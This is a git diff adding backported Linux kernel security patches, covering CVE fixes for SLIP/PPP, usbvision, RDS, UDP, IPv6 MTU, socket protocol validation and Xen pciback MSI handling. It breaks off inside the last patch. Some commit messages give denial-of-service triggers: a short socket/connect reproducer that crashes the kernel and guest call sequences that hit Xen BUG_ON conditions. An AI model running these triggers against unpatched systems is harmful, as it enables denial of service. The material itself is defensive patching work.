f82699de104eaf8a7ffc2849a566a94818dd8a3c Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sun, 1 Nov 2015 16:22:53 +0000 +Subject: ppp, slip: Validate VJ compression slot parameters completely +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +[ Upstream commit 4ab42d78e37a294ac7bc56901d563c642e03c4ae ] + +Currently slhc_init() treats out-of-range values of rslots and tslots +as equivalent to 0, except that if tslots is too large it will +dereference a null pointer (CVE-2015-7799). + +Add a range-check at the top of the function and make it return an +ERR_PTR() on error instead of NULL. Change the callers accordingly. + +Compile-tested only. + +Reported-by: 郭永刚 +References: http://article.gmane.org/gmane.comp.security.oss.general/17908 +Signed-off-by: Ben Hutchings +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/isdn/i4l/isdn_ppp.c | 10 ++++------ + drivers/net/ppp/ppp_generic.c | 6 ++---- + drivers/net/slip/slhc.c | 12 ++++++++---- + drivers/net/slip/slip.c | 2 +- + 4 files changed, 15 insertions(+), 15 deletions(-) + +diff --git a/drivers/isdn/i4l/isdn_ppp.c b/drivers/isdn/i4l/isdn_ppp.c +index 12bcce1b40254..0ed6731396efd 100644 +--- a/drivers/isdn/i4l/isdn_ppp.c ++++ b/drivers/isdn/i4l/isdn_ppp.c +@@ -322,9 +322,9 @@ isdn_ppp_open(int min, struct file *file) + * VJ header compression init + */ + is->slcomp = slhc_init(16, 16); /* not necessary for 2. link in bundle */ +- if (!is->slcomp) { ++ if (IS_ERR(is->slcomp)) { + isdn_ppp_ccp_reset_free(is); +- return -ENOMEM; ++ return PTR_ERR(is->slcomp); + } + #endif + #ifdef CONFIG_IPPP_FILTER +@@ -574,10 +574,8 @@ isdn_ppp_ioctl(int min, struct file *file, unsigned int cmd, unsigned long arg) + is->maxcid = val; + #ifdef CONFIG_ISDN_PPP_VJ + sltmp = slhc_init(16, val); +- if (!sltmp) { +- printk(KERN_ERR "ippp, can't realloc slhc struct\n"); +- return -ENOMEM; +- } ++ if (IS_ERR(sltmp)) ++ return PTR_ERR(sltmp); + if (is->slcomp) + slhc_free(is->slcomp); + is->slcomp = sltmp; +diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c +index 5a1897d86e944..a2d7d5f066f1a 100644 +--- a/drivers/net/ppp/ppp_generic.c ++++ b/drivers/net/ppp/ppp_generic.c +@@ -716,10 +716,8 @@ static long ppp_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + val &= 0xffff; + } + vj = slhc_init(val2+1, val+1); +- if (!vj) { +- netdev_err(ppp->dev, +- "PPP: no memory (VJ compressor)\n"); +- err = -ENOMEM; ++ if (IS_ERR(vj)) { ++ err = PTR_ERR(vj); + break; + } + ppp_lock(ppp); +diff --git a/drivers/net/slip/slhc.c b/drivers/net/slip/slhc.c +index 1252d9c726a77..b52eabc168a06 100644 +--- a/drivers/net/slip/slhc.c ++++ b/drivers/net/slip/slhc.c +@@ -84,8 +84,9 @@ static long decode(unsigned char **cpp); + static unsigned char * put16(unsigned char *cp, unsigned short x); + static unsigned short pull16(unsigned char **cpp); + +-/* Initialize compression data structure ++/* Allocate compression data structure + * slots must be in range 0 to 255 (zero meaning no compression) ++ * Returns pointer to structure or ERR_PTR() on error. + */ + struct slcompress * + slhc_init(int rslots, int tslots) +@@ -94,11 +95,14 @@ slhc_init(int rslots, int tslots) + register struct cstate *ts; + struct slcompress *comp; + ++ if (rslots < 0 || rslots > 255 || tslots < 0 || tslots > 255) ++ return ERR_PTR(-EINVAL); ++ + comp = kzalloc(sizeof(struct slcompress), GFP_KERNEL); + if (! comp) + goto out_fail; + +- if ( rslots > 0 && rslots < 256 ) { ++ if (rslots > 0) { + size_t rsize = rslots * sizeof(struct cstate); + comp->rstate = kzalloc(rsize, GFP_KERNEL); + if (! comp->rstate) +@@ -106,7 +110,7 @@ slhc_init(int rslots, int tslots) + comp->rslot_limit = rslots - 1; + } + +- if ( tslots > 0 && tslots < 256 ) { ++ if (tslots > 0) { + size_t tsize = tslots * sizeof(struct cstate); + comp->tstate = kzalloc(tsize, GFP_KERNEL); + if (! comp->tstate) +@@ -141,7 +145,7 @@ out_free2: + out_free: + kfree(comp); + out_fail: +- return NULL; ++ return ERR_PTR(-ENOMEM); + } + + +diff --git a/drivers/net/slip/slip.c b/drivers/net/slip/slip.c +index a34d6bf5e43b5..ca3e73753fb84 100644 +--- a/drivers/net/slip/slip.c ++++ b/drivers/net/slip/slip.c +@@ -163,7 +163,7 @@ static int sl_alloc_bufs(struct slip *sl, int mtu) + if (cbuff == NULL) + goto err_exit; + slcomp = slhc_init(16, 16); +- if (slcomp == NULL) ++ if (IS_ERR(slcomp)) + goto err_exit; + #endif + spin_lock_bh(&sl->lock); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0166-87e4617a54ff-usbvision fix crash on detecting device with invalid configuration.patch b/recipes-kernel/linux/linux-bass/autopatcher/0166-87e4617a54ff-usbvision fix crash on detecting device with invalid configuration.patch new file mode 100644 index 0000000..e2ec8ca --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0166-87e4617a54ff-usbvision fix crash on detecting device with invalid configuration.patch @@ -0,0 +1,51 @@ +From 87e4617a54ff86b928872749aa584c449c3da55c Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Mon, 16 Nov 2015 15:55:11 -0200 +Subject: usbvision: fix crash on detecting device with invalid configuration + +commit fa52bd506f274b7619955917abfde355e3d19ffe upstream. + +The usbvision driver crashes when a specially crafted usb device with invalid +number of interfaces or endpoints is detected. This fix adds checks that the +device has proper configuration expected by the driver. + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Willy Tarreau +--- + drivers/media/usb/usbvision/usbvision-video.c | 16 +++++++++++++++- + 1 file changed, 15 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/usb/usbvision/usbvision-video.c b/drivers/media/usb/usbvision/usbvision-video.c +index 017f4d17c7f5d..bcfefe61a592a 100644 +--- a/drivers/media/usb/usbvision/usbvision-video.c ++++ b/drivers/media/usb/usbvision/usbvision-video.c +@@ -1538,9 +1538,23 @@ static int usbvision_probe(struct usb_interface *intf, + + if (usbvision_device_data[model].interface >= 0) + interface = &dev->actconfig->interface[usbvision_device_data[model].interface]->altsetting[0]; +- else ++ else if (ifnum < dev->actconfig->desc.bNumInterfaces) + interface = &dev->actconfig->interface[ifnum]->altsetting[0]; ++ else { ++ dev_err(&intf->dev, "interface %d is invalid, max is %d\n", ++ ifnum, dev->actconfig->desc.bNumInterfaces - 1); ++ ret = -ENODEV; ++ goto err_usb; ++ } ++ ++ if (interface->desc.bNumEndpoints < 2) { ++ dev_err(&intf->dev, "interface %d has %d endpoints, but must" ++ " have minimum 2\n", ifnum, interface->desc.bNumEndpoints); ++ ret = -ENODEV; ++ goto err_usb; ++ } + endpoint = &interface->endpoint[1].desc; ++ + if (!usb_endpoint_xfer_isoc(endpoint)) { + dev_err(&intf->dev, "%s: interface %d. has non-ISO endpoint!\n", + __func__, ifnum); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0167-e2f3d50558b8-RDS fix race condition when sending a message on unbound socket.patch b/recipes-kernel/linux/linux-bass/autopatcher/0167-e2f3d50558b8-RDS fix race condition when sending a message on unbound socket.patch new file mode 100644 index 0000000..96270c4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0167-e2f3d50558b8-RDS fix race condition when sending a message on unbound socket.patch @@ -0,0 +1,75 @@ +From e2f3d50558b8e5deeaacf4990e478fc844444de5 Mon Sep 17 00:00:00 2001 +From: Quentin Casasnovas +Date: Tue, 24 Nov 2015 17:13:21 -0500 +Subject: RDS: fix race condition when sending a message on unbound socket + +commit 8c7188b23474cca017b3ef354c4a58456f68303a upstream. + +Sasha's found a NULL pointer dereference in the RDS connection code when +sending a message to an apparently unbound socket. The problem is caused +by the code checking if the socket is bound in rds_sendmsg(), which checks +the rs_bound_addr field without taking a lock on the socket. This opens a +race where rs_bound_addr is temporarily set but where the transport is not +in rds_bind(), leading to a NULL pointer dereference when trying to +dereference 'trans' in __rds_conn_create(). + +Vegard wrote a reproducer for this issue, so kindly ask him to share if +you're interested. + +I cannot reproduce the NULL pointer dereference using Vegard's reproducer +with this patch, whereas I could without. + +Complete earlier incomplete fix to CVE-2015-6937: + + 74e98eb08588 ("RDS: verify the underlying transport exists before creating a connection") + +Reviewed-by: Vegard Nossum +Reviewed-by: Sasha Levin +Acked-by: Santosh Shilimkar +Signed-off-by: Quentin Casasnovas +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/rds/connection.c | 6 ------ + net/rds/send.c | 4 +++- + 2 files changed, 3 insertions(+), 7 deletions(-) + +diff --git a/net/rds/connection.c b/net/rds/connection.c +index e88bf3976e541..642ad42c416ba 100644 +--- a/net/rds/connection.c ++++ b/net/rds/connection.c +@@ -177,12 +177,6 @@ static struct rds_connection *__rds_conn_create(__be32 laddr, __be32 faddr, + } + } + +- if (trans == NULL) { +- kmem_cache_free(rds_conn_slab, conn); +- conn = ERR_PTR(-ENODEV); +- goto out; +- } +- + conn->c_trans = trans; + + ret = trans->conn_alloc(conn, gfp); +diff --git a/net/rds/send.c b/net/rds/send.c +index 88eace57dd6bb..31c9fa464b11c 100644 +--- a/net/rds/send.c ++++ b/net/rds/send.c +@@ -955,11 +955,13 @@ int rds_sendmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, + release_sock(sk); + } + +- /* racing with another thread binding seems ok here */ ++ lock_sock(sk); + if (daddr == 0 || rs->rs_bound_addr == 0) { ++ release_sock(sk); + ret = -ENOTCONN; /* XXX not a great errno */ + goto out; + } ++ release_sock(sk); + + /* size of rm including all sgs */ + ret = rds_rm_size(msg, payload_len); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0168-813658e0c448-udp properly support MSGPEEK with truncated buffers.patch b/recipes-kernel/linux/linux-bass/autopatcher/0168-813658e0c448-udp properly support MSGPEEK with truncated buffers.patch new file mode 100644 index 0000000..5dd1912 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0168-813658e0c448-udp properly support MSGPEEK with truncated buffers.patch @@ -0,0 +1,99 @@ +From 813658e0c448f2f5fb3301762076ba5e0f61411c Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Wed, 30 Dec 2015 08:51:12 -0500 +Subject: udp: properly support MSG_PEEK with truncated buffers + +Backport of this upstream commit into stable kernels : +89c22d8c3b27 ("net: Fix skb csum races when peeking") +exposed a bug in udp stack vs MSG_PEEK support, when user provides +a buffer smaller than skb payload. + +In this case, +skb_copy_and_csum_datagram_iovec(skb, sizeof(struct udphdr), + msg->msg_iov); +returns -EFAULT. + +This bug does not happen in upstream kernels since Al Viro did a great +job to replace this into : +skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); +This variant is safe vs short buffers. + +For the time being, instead reverting Herbert Xu patch and add back +skb->ip_summed invalid changes, simply store the result of +udp_lib_checksum_complete() so that we avoid computing the checksum a +second time, and avoid the problematic +skb_copy_and_csum_datagram_iovec() call. + +This patch can be applied on recent kernels as it avoids a double +checksumming, then backported to stable kernels as a bug fix. + +Signed-off-by: Eric Dumazet +Acked-by: Herbert Xu +Signed-off-by: David S. Miller +[d-cagle@codeaurora.org: Resolve trivial merge conflicts] +Git-repo: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git +Git-commit: 197c949e7798fbf28cfadc69d9ca0c2abbf93191 +Change-Id: I70f19a362f627bd2d9d8e10e31bbcdb4b0600792 +Signed-off-by: Dennis Cagle +--- + net/ipv4/udp.c | 6 ++++-- + net/ipv6/udp.c | 6 ++++-- + 2 files changed, 8 insertions(+), 4 deletions(-) + +diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c +index 463710f..23d991a 100644 +--- a/net/ipv4/udp.c ++++ b/net/ipv4/udp.c +@@ -1215,6 +1215,7 @@ int udp_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, + int peeked, off = 0; + int err; + int is_udplite = IS_UDPLITE(sk); ++ bool checksum_valid = false; + bool slow; + + if (flags & MSG_ERRQUEUE) +@@ -1240,11 +1241,12 @@ try_again: + */ + + if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { +- if (udp_lib_checksum_complete(skb)) ++ checksum_valid = !udp_lib_checksum_complete(skb); ++ if (!checksum_valid) + goto csum_copy_err; + } + +- if (skb_csum_unnecessary(skb)) ++ if (checksum_valid || skb_csum_unnecessary(skb)) + err = skb_copy_datagram_iovec(skb, sizeof(struct udphdr), + msg->msg_iov, copied); + else { +diff --git a/net/ipv6/udp.c b/net/ipv6/udp.c +index 2adb069..d689b25 100644 +--- a/net/ipv6/udp.c ++++ b/net/ipv6/udp.c +@@ -370,6 +370,7 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk, + int peeked, off = 0; + int err; + int is_udplite = IS_UDPLITE(sk); ++ bool checksum_valid = false; + int is_udp4; + bool slow; + +@@ -401,11 +402,12 @@ try_again: + */ + + if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { +- if (udp_lib_checksum_complete(skb)) ++ checksum_valid = !udp_lib_checksum_complete(skb); ++ if (!checksum_valid) + goto csum_copy_err; + } + +- if (skb_csum_unnecessary(skb)) ++ if (checksum_valid || skb_csum_unnecessary(skb)) + err = skb_copy_datagram_iovec(skb, sizeof(struct udphdr), + msg->msg_iov, copied); + else { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0169-f44289e9c65b-ipv6 addrconf validate new MTU before applying it.patch b/recipes-kernel/linux/linux-bass/autopatcher/0169-f44289e9c65b-ipv6 addrconf validate new MTU before applying it.patch new file mode 100644 index 0000000..a1669c5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0169-f44289e9c65b-ipv6 addrconf validate new MTU before applying it.patch @@ -0,0 +1,73 @@ +From f44289e9c65bbc3f21d0af493342c0f8500c010e Mon Sep 17 00:00:00 2001 +From: Marcelo Leitner +Date: Mon, 23 Feb 2015 11:17:13 -0300 +Subject: ipv6: addrconf: validate new MTU before applying it + +Currently we don't check if the new MTU is valid or not and this allows +one to configure a smaller than minimum allowed by RFCs or even bigger +than interface own MTU, which is a problem as it may lead to packet +drops. + +If you have a daemon like NetworkManager running, this may be exploited +by remote attackers by forging RA packets with an invalid MTU, possibly +leading to a DoS. (NetworkManager currently only validates for values +too small, but not for too big ones.) + +The fix is just to make sure the new value is valid. That is, between +IPV6_MIN_MTU and interface's MTU. + +Note that similar check is already performed at +ndisc_router_discovery(), for when kernel itself parses the RA. + +Signed-off-by: Marcelo Ricardo Leitner +Signed-off-by: Sabrina Dubroca +Signed-off-by: David S. Miller +(cherry picked from commit 77751427a1ff25b27d47a4c36b12c3c8667855ac) + +Git-commit: 77751427a1ff25b27d47a4c36b12c3c8667855ac +Git-repo: https://source.codeaurora.org/quic/la/kernel/msm-3.18/commit/ + +Change-Id: I3d8e0171adfe3237de242961bb0af7f116cb33c4 +Signed-off-by: Tejaswi Tanikella +--- + net/ipv6/addrconf.c | 17 ++++++++++++++++- + 1 file changed, 16 insertions(+), 1 deletion(-) + +diff --git a/net/ipv6/addrconf.c b/net/ipv6/addrconf.c +index 165af02..0d18bbd 100644 +--- a/net/ipv6/addrconf.c ++++ b/net/ipv6/addrconf.c +@@ -4753,6 +4753,21 @@ int addrconf_sysctl_forward(ctl_table *ctl, int write, + return ret; + } + ++static ++int addrconf_sysctl_mtu(struct ctl_table *ctl, int write, ++ void __user *buffer, size_t *lenp, loff_t *ppos) ++{ ++ struct inet6_dev *idev = ctl->extra1; ++ int min_mtu = IPV6_MIN_MTU; ++ struct ctl_table lctl; ++ ++ lctl = *ctl; ++ lctl.extra1 = &min_mtu; ++ lctl.extra2 = idev ? &idev->dev->mtu : NULL; ++ ++ return proc_dointvec_minmax(&lctl, write, buffer, lenp, ppos); ++} ++ + static void dev_disable_change(struct inet6_dev *idev) + { + if (!idev || !idev->dev) +@@ -4861,7 +4876,7 @@ static struct addrconf_sysctl_table + .data = &ipv6_devconf.mtu6, + .maxlen = sizeof(int), + .mode = 0644, +- .proc_handler = proc_dointvec, ++ .proc_handler = addrconf_sysctl_mtu, + }, + { + .procname = "accept_ra", +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0170-0b15bc292507-net add validation for the socket syscall protocol argument.patch b/recipes-kernel/linux/linux-bass/autopatcher/0170-0b15bc292507-net add validation for the socket syscall protocol argument.patch new file mode 100644 index 0000000..fa41ba2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0170-0b15bc292507-net add validation for the socket syscall protocol argument.patch @@ -0,0 +1,142 @@ +From 0b15bc29250706ab64cbebb6a4739d3a76e23103 Mon Sep 17 00:00:00 2001 +From: Hannes Frederic Sowa +Date: Mon, 14 Dec 2015 22:03:39 +0100 +Subject: net: add validation for the socket syscall protocol argument +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +[ Upstream commit 79462ad02e861803b3840cc782248c7359451cd9 ] + +郭永刚 reported that one could simply crash the kernel as root by +using a simple program: + + int socket_fd; + struct sockaddr_in addr; + addr.sin_port = 0; + addr.sin_addr.s_addr = INADDR_ANY; + addr.sin_family = 10; + + socket_fd = socket(10,3,0x40000000); + connect(socket_fd , &addr,16); + +AF_INET, AF_INET6 sockets actually only support 8-bit protocol +identifiers. inet_sock's skc_protocol field thus is sized accordingly, +thus larger protocol identifiers simply cut off the higher bits and +store a zero in the protocol fields. + +This could lead to e.g. NULL function pointer because as a result of +the cut off inet_num is zero and we call down to inet_autobind, which +is NULL for raw sockets. + +kernel: Call Trace: +kernel: [] ? inet_autobind+0x2e/0x70 +kernel: [] inet_dgram_connect+0x54/0x80 +kernel: [] SYSC_connect+0xd9/0x110 +kernel: [] ? ptrace_notify+0x5b/0x80 +kernel: [] ? syscall_trace_enter_phase2+0x108/0x200 +kernel: [] SyS_connect+0xe/0x10 +kernel: [] tracesys_phase2+0x84/0x89 + +I found no particular commit which introduced this problem. + +CVE: CVE-2015-8543 +Cc: Cong Wang +Reported-by: 郭永刚 +Signed-off-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/net/sock.h | 1 + + net/ax25/af_ax25.c | 3 +++ + net/decnet/af_decnet.c | 3 +++ + net/ipv4/af_inet.c | 3 +++ + net/ipv6/af_inet6.c | 3 +++ + net/irda/af_irda.c | 3 +++ + 6 files changed, 16 insertions(+) + +diff --git a/include/net/sock.h b/include/net/sock.h +index 40557a6fc2d13..2317d122874e7 100644 +--- a/include/net/sock.h ++++ b/include/net/sock.h +@@ -352,6 +352,7 @@ struct sock { + sk_no_check : 2, + sk_userlocks : 4, + sk_protocol : 8, ++#define SK_PROTOCOL_MAX U8_MAX + sk_type : 16; + kmemcheck_bitfield_end(flags); + int sk_wmem_queued; +diff --git a/net/ax25/af_ax25.c b/net/ax25/af_ax25.c +index ba6db78a02b16..69940a723abd3 100644 +--- a/net/ax25/af_ax25.c ++++ b/net/ax25/af_ax25.c +@@ -806,6 +806,9 @@ static int ax25_create(struct net *net, struct socket *sock, int protocol, + struct sock *sk; + ax25_cb *ax25; + ++ if (protocol < 0 || protocol > SK_PROTOCOL_MAX) ++ return -EINVAL; ++ + if (!net_eq(net, &init_net)) + return -EAFNOSUPPORT; + +diff --git a/net/decnet/af_decnet.c b/net/decnet/af_decnet.c +index c21f200eed934..ca6106562769c 100644 +--- a/net/decnet/af_decnet.c ++++ b/net/decnet/af_decnet.c +@@ -677,6 +677,9 @@ static int dn_create(struct net *net, struct socket *sock, int protocol, + { + struct sock *sk; + ++ if (protocol < 0 || protocol > SK_PROTOCOL_MAX) ++ return -EINVAL; ++ + if (!net_eq(net, &init_net)) + return -EAFNOSUPPORT; + +diff --git a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c +index c4adc319cc2e3..975c369d4e6df 100644 +--- a/net/ipv4/af_inet.c ++++ b/net/ipv4/af_inet.c +@@ -288,6 +288,9 @@ static int inet_create(struct net *net, struct socket *sock, int protocol, + if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM) + build_ehash_secret(); + ++ if (protocol < 0 || protocol >= IPPROTO_MAX) ++ return -EINVAL; ++ + sock->state = SS_UNCONNECTED; + + /* Look for the requested type/protocol pair. */ +diff --git a/net/ipv6/af_inet6.c b/net/ipv6/af_inet6.c +index ab5c7ad482cde..a944f1313c5fd 100644 +--- a/net/ipv6/af_inet6.c ++++ b/net/ipv6/af_inet6.c +@@ -113,6 +113,9 @@ static int inet6_create(struct net *net, struct socket *sock, int protocol, + !inet_ehash_secret) + build_ehash_secret(); + ++ if (protocol < 0 || protocol >= IPPROTO_MAX) ++ return -EINVAL; ++ + /* Look for the requested type/protocol pair. */ + lookup_protocol: + err = -ESOCKTNOSUPPORT; +diff --git a/net/irda/af_irda.c b/net/irda/af_irda.c +index a5e62ef571556..f8133ff5b0818 100644 +--- a/net/irda/af_irda.c ++++ b/net/irda/af_irda.c +@@ -1105,6 +1105,9 @@ static int irda_create(struct net *net, struct socket *sock, int protocol, + + IRDA_DEBUG(2, "%s()\n", __func__); + ++ if (protocol < 0 || protocol > SK_PROTOCOL_MAX) ++ return -EINVAL; ++ + if (net != &init_net) + return -EAFNOSUPPORT; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0171-871e37be4fe8-xenpciback Return error on XENPCIOPenablemsi when device has.patch b/recipes-kernel/linux/linux-bass/autopatcher/0171-871e37be4fe8-xenpciback Return error on XENPCIOPenablemsi when device has.patch new file mode 100644 index 0000000..b3848da --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0171-871e37be4fe8-xenpciback Return error on XENPCIOPenablemsi when device has.patch @@ -0,0 +1,63 @@ +From 871e37be4fe84ec58c33116701b740c6cf675f50 Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Fri, 3 Apr 2015 11:08:22 -0400 +Subject: xen/pciback: Return error on XEN_PCI_OP_enable_msi when device has + MSI or MSI-X enabled + +commit 56441f3c8e5bd45aab10dd9f8c505dd4bec03b0d upstream. + +The guest sequence of: + + a) XEN_PCI_OP_enable_msi + b) XEN_PCI_OP_enable_msi + c) XEN_PCI_OP_disable_msi + +results in hitting an BUG_ON condition in the msi.c code. + +The MSI code uses an dev->msi_list to which it adds MSI entries. +Under the above conditions an BUG_ON() can be hit. The device +passed in the guest MUST have MSI capability. + +The a) adds the entry to the dev->msi_list and sets msi_enabled. +The b) adds a second entry but adding in to SysFS fails (duplicate entry) +and deletes all of the entries from msi_list and returns (with msi_enabled +is still set). c) pci_disable_msi passes the msi_enabled checks and hits: + +BUG_ON(list_empty(dev_to_msi_list(&dev->dev))); + +and blows up. + +The patch adds a simple check in the XEN_PCI_OP_enable_msi to guard +against that. The check for msix_enabled is not stricly neccessary. + +This is part of XSA-157. + +Reviewed-by: David Vrabel +Reviewed-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +Signed-off-by: Willy Tarreau +--- + drivers/xen/xen-pciback/pciback_ops.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index 2c668b7f20a17..27c8ff5fea583 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -141,7 +141,12 @@ int xen_pcibk_enable_msi(struct xen_pcibk_device *pdev, + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: enable MSI\n", pci_name(dev)); + +- status = pci_enable_msi(dev); ++ if (dev->msi_enabled) ++ status = -EALREADY; ++ else if (dev->msix_enabled) ++ status = -ENXIO; ++ else ++ status = pci_enable_msi(dev); + + if (status) { + pr_warn_ratelimited(DRV_NAME ": %s: error enabling MSI for guest %u: err %d\n", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0172-d2dfdbabdd47-xenpciback Return error on XENPCIOPenablemsix when device has.patch b/recipes-kernel/linux/linux-bass/autopatcher/0172-d2dfdbabdd47-xenpciback Return error on XENPCIOPenablemsix when device has.patch new file mode 100644 index 0000000..66947c5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0172-d2dfdbabdd47-xenpciback Return error on XENPCIOPenablemsix when device has.patch @@ -0,0 +1,65 @@ +From d2dfdbabdd47195c766e58f6455cf51b924e32ad Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Mon, 2 Nov 2015 18:07:44 -0500 +Subject: xen/pciback: Return error on XEN_PCI_OP_enable_msix when device has + MSI or MSI-X enabled + +commit 5e0ce1455c09dd61d029b8ad45d82e1ac0b6c4c9 upstream. + +The guest sequence of: + + a) XEN_PCI_OP_enable_msix + b) XEN_PCI_OP_enable_msix + +results in hitting an NULL pointer due to using freed pointers. + +The device passed in the guest MUST have MSI-X capability. + +The a) constructs and SysFS representation of MSI and MSI groups. +The b) adds a second set of them but adding in to SysFS fails (duplicate entry). +'populate_msi_sysfs' frees the newly allocated msi_irq_groups (note that +in a) pdev->msi_irq_groups is still set) and also free's ALL of the +MSI-X entries of the device (the ones allocated in step a) and b)). + +The unwind code: 'free_msi_irqs' deletes all the entries and tries to +delete the pdev->msi_irq_groups (which hasn't been set to NULL). +However the pointers in the SysFS are already freed and we hit an +NULL pointer further on when 'strlen' is attempted on a freed pointer. + +The patch adds a simple check in the XEN_PCI_OP_enable_msix to guard +against that. The check for msi_enabled is not stricly neccessary. + +This is part of XSA-157 + +Reviewed-by: David Vrabel +Reviewed-by: Jan Beulich +Signed-off-by: Konrad Rzeszutek Wilk +Signed-off-by: Willy Tarreau +--- + drivers/xen/xen-pciback/pciback_ops.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/xen/xen-pciback/pciback_ops.c b/drivers/xen/xen-pciback/pciback_ops.c +index 27c8ff5fea583..741fd04d5f8c1 100644 +--- a/drivers/xen/xen-pciback/pciback_ops.c ++++ b/drivers/xen/xen-pciback/pciback_ops.c +@@ -203,9 +203,16 @@ int xen_pcibk_enable_msix(struct xen_pcibk_device *pdev, + if (unlikely(verbose_request)) + printk(KERN_DEBUG DRV_NAME ": %s: enable MSI-X\n", + pci_name(dev)); ++ + if (op->value > SH_INFO_MAX_VEC) + return -EINVAL; + ++ if (dev->msix_enabled) ++ return -EALREADY; ++ ++ if (dev->msi_enabled) ++ return -ENXIO; ++ + entries = kmalloc(op->value * sizeof(*entries), GFP_KERNEL); + if (entries == NULL) + return -ENOMEM; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0173-5701f8a13c9b-xenpciback Do not install an IRQ handler for MSI interrupts.patch b/recipes-kernel/linux/linux-bass/autopatcher/0173-5701f8a13c9b-xenpciback Do not install an IRQ handler for MSI interrupts.patch new file mode 100644 index 0000000..d10ead5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0173-5701f8a13c9b-xenpciback Do not install an IRQ handler for MSI interrupts.patch @@ -0,0 +1,82 @@ +From 5701f8a13c9bde54f047cfcad6f527e97eef6d4e Mon Sep 17 00:00:00 2001 +From: Konrad Rzeszutek Wilk +Date: Mon, 2 Nov 2015 17:24:08 -0500 +Subject: xen/pciback: Do not install an IRQ handler for MSI interrupts. + +commit a396f3a210c3a61e94d6b87ec05a75d0be2a60d0 upstream. + +Otherwise an guest can subvert the generic MSI code to trigger +an BUG_ON condition during MSI interrupt freeing: + + for (i = 0; i < entry->nvec_used; i++) + BUG_ON(irq_has_action(entry->irq + i)); + +Xen PCI backed installs an IRQ handler (request_irq) for +the dev->irq whenever the guest writes PCI_COMMAND_MEMORY +(or PCI_COMMAND_IO) to the PCI_COMMAND register. This is +done in case the device has legacy interrupts the GSI line +is shared by the backend devices. + +To subvert the backend the guest needs to make the backend +to change the dev->irq from the GSI to the MSI interrupt line, +make the backend allocate an interrupt handler, and then command +the backend to free the MSI interrupt and hit the BUG_ON. + +Since the backend only calls 'request_irq' when the guest +writes to the PCI_COMMAND register the guest needs to call +XEN_PCI_OP_enable_msi before any other operation. This will +cause the generic MSI code to setup an MSI entry and +populate dev->irq with the new PIRQ value. + +Then the guest can write to PCI_COMMAND PCI_COMMAND_MEMORY +and cause the backend to setup an IRQ handler for dev->irq +(which instead of the GSI value has the MSI pirq). See +'xen_pcibk_control_isr'. + +Then the guest disables the MSI: XEN_PCI_OP_disable_msi +which ends up triggering the BUG_ON condition in 'free_msi_irqs' +as there is an IRQ handler for the entry->irq (dev->irq). + +Note that this cannot be done using MSI-X as the generic +code does not over-write dev->irq with the MSI-X PIRQ values. + +The patch inhibits setting up the IRQ handler if MSI or +MSI-X (for symmetry reasons) code had been called successfully. + +P.S. +Xen PCIBack when it sets up the device for the guest consumption +ends up writting 0 to the PCI_COMMAND (see xen_pcibk_reset_device). +XSA-120 addendum patch removed that - however when upstreaming said +addendum we found that it caused issues with qemu upstream. That +has now been fixed in qemu upstream. + +This is part of XSA-157 + +Reviewed-by: David Vrabel +Signed-off-by: Konrad Rzeszutek Wilk +Signed-off-by: Willy Tarreau +--- + drivers/xen/xen-pciback/pciback_ops.c | 7 +++++++ + 1 file changed, 7 